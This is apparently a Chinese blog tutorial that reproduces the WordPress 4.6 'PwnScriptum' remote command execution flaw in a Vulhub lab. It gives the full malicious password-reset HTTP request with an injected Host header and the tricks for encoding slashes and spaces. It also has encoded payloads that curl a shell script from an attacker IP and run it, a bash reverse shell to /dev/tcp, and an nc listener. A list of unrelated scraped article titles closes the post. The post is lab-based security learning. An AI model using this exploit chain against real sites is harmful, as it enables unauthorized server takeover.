今天继续给大家介绍渗透测试相关知识,本文主要内容是wordpress 4.6任意命令执行漏洞(PwnScriptum)复现。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、wordpress 4.6任意命令执行漏洞(PwnScriptum)简介与靶场搭建

wordpress 4.6版本存在任意命令执行漏洞(PwnScriptum),该漏洞产生于
,我们可以把要执行的命令写入到Post数据包中的Host字段中。
该漏洞影响的范围是wordpress<=4.6.0,PHP Mailer<5.2.18。
我们使用Vulhub靶场来搭建该漏洞,进入到/vulhub-master/wordpress/pwnscriptum/目录后,我们执行命令:

docker-compose up -d

即可启动漏洞环境,命令执行结果如下所示:

执行命令:

docker-compose config

即可查看当前的Docker虚拟机配置,命令执行结果如下所示:

我们根据配置,就可以访问Docker虚拟环境了,访问结果如下所示:

我们简单安装WordPress后,就可以进行漏洞复现了。

二、wordpress 4.6任意命令执行漏洞(PwnScriptum)复现

该漏洞EXP如下所示:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{【要执行的命令】}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=admin

该数据包属于重置密码时产生的数据包,产生于下图中“获取新密码”点击后。

我们在数据包中将要执行的命令,插入到上述payload中指定的位置,就可以实现命令执行了。但是,这个漏洞的利用存在很大的限制,主要限制如下所示:
1、我们需要将执行的命令中“/”替换成${substr{0}{1}{$spool_directory}},将空格替换成${substr{10}{1}{$tod_log}}。在命令中可以出现“-”、“.”等字符,但是不能出现引号、管道符。
2、该命令会被转化成小写字母。
3、我们的命令需要使用绝对路径,而不能使用Linux环境变量。例如不能直接使用bash,要使用/bin/bash。
4、我们需要在上述数据包中输入正确的用户名,因此该漏洞的利用前提还必须知道wordpress后台一个存在的用户名。
5、我们处理后的命令会执行,但是不会显示到页面上。
针对上述限制,我们如果想借助这个漏洞获取shell,由于输入的命令存在字符上的限制,那么通常需要将先将建立shell的代码放入我们受控的服务器中,让目标系统将该代码下载下来,然后再控制执行该代码。
综上,我们需要执行以下两步命令来获取shell:
1、/usr/bin/curl -o /tmp/rce 192.168.136.1/shell.sh
2、/bin/bash /tmp/rce
在本地服务器上shell.sh的内容是:

bash -i >& /dev/tcp/192.168.136.1/7777 0>&1

我们还需要在本地服务器上使用nc建立监听的TCP端口,执行命令:

nc -lvp 7777

对上述代码还存在疑惑的可以参考文章:Windows nc命令下载使用与使用bash建立反弹shell
下面,在本地服务器上完成相关设置后,我们需要对上述2条命令进行处理。第一条命令原本为:

/usr/bin/curl -o /tmp/rce 192.168.136.1/shell.sh

将命令中的斜杠和空格替换成指定内容,并添加固定格式后后,新的命令为:

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}192.168.136.1${substr{0}{1}{$spool_directory}}shell.sh}} null)

我们使用BurpSuite抓取指定的数据包,然后将上述命令放到数据包的Host部分,如下所示:

之后,我们用同样的方式处理第二条命令,第二条命令原本为:

/bin/bash /tmp/rce

处理后为:

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)

放入到BurpSuite抓包后结果为:

上述命令执行完毕后,我们可以在本地看到已经建立了nc链接,我们拿到了目标服务器的shell权限,可以执行命令了,如下所示:

从上图可以看出,wordpress 4.6任意命令执行漏洞(PwnScriptum)复现成功!
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

wordpress 4.6任意命令执行漏洞(PwnScriptum)复现相关推荐

  1. 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...

  2. Wordpress 4.6 任意命令执行漏洞

    文章目录 前言 一.构造burp数据包内容 1.构造原理 2.最终构造数据包如下 二.使用步骤 1.本漏洞实际利用存在的限制 2.反弹shell 3.开启监听 三.通过burp获取权限 1.发送下载s ...

  3. python直接执行代码漏洞_修复Python任意命令执行漏洞

    Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...

  4. couchdb 任意命令执行漏洞(cve-2017-12636)

    Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...

  5. FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

    #FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...

  6. eyoucms 1.5.5任意命令执行漏洞(0day)

    eyoucms 1.5.5任意命令执行漏洞 文章目录 eyoucms 1.5.5任意命令执行漏洞 一.漏洞简介 二.漏洞影响 三.复现过程 漏洞位置 漏洞分析 漏洞利用 一.漏洞简介 eyoucms1 ...

  7. TamronOS IPTV系统 ping 任意命令执行漏洞

    TamronOS IPTV系统 ping 任意命令执行漏洞 目录 系统简介 漏洞描述 漏洞复现 总结 系统简介 TamronOS IPTV/VOD系统是一套基于Linux内核开发的宽带运营商.酒店.学 ...

  8. 通达OA v11.9 getdata任意命令执行漏洞复现+利用

    1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...

  9. php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现

    0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...

最新文章

  1. java Random类详解
  2. 关卡设计快速入门_5. 编辑已放置的Actor
  3. MySQL 优化上来就分库分表?面试官:根本不懂底层原理!
  4. 今日学习心得——装饰模式
  5. 【十大经典数据挖掘算法】Naïve Bayes
  6. webflux 对url参数的接收处理
  7. Python计算斐波那契数列
  8. 如何让网站在百度有LOGO展示
  9. matlab中卡尔曼滤波,卡尔曼滤波算法及MATLAB实现
  10. 1976国际标准大气模型_Matlab
  11. java源码解读 pdf_好家伙!这一篇文章就给你讲明白了Java并发实现原理之JDK源码剖析(PDF文档)...
  12. 其他——dhtmlxGantt甘特图API精华总结
  13. 三步快速搭建android开发环境 (下载包已集成可用sdk,无需费心到google相应网站下载,快哉!)
  14. iOS公司开发者账号申请 营业执照
  15. 小森生活服务器维护公告,小森生活2021年5月11日停服更新公告
  16. 相机内参 k_4K相机与智能手机中的4K视频相比如何
  17. Ubuntu14.04 安装 TL-WN823N无线网卡驱动
  18. 《AI算法工程师手册》
  19. 如何安装numpy库
  20. 小数分频器vhdl实现_VHDL实现分频器 - zy010101的个人空间 - OSCHINA - 中文开源技术交流社区...

热门文章

  1. java类与对象 编程题目_Java类与对象的课后练习
  2. On the Uncertain Single-View Depths in Endoscopies
  3. [Object-c] 通知 通告 简介
  4. vue服务端渲染之nuxtjs
  5. 最美的公式:你也能懂的麦克斯韦方程组(积分篇)
  6. Netty之ChannelHandlerContext.writeAndFlush与channel.writeAndFlush的区别
  7. 电脑怎么设置自动开机时间
  8. C语言辗转相除法求两数最大公因数
  9. JavaCV音视频开发宝典:使用JavaCV和springBoot实现http-flv直播服务,无需流媒体服务,浏览器网页flv.js转封装方式播放rtsp,rtmp和桌面投屏实时画面
  10. vue打卡日历_打卡日历,日历前端实现,日历特殊标识后端提供(Vue)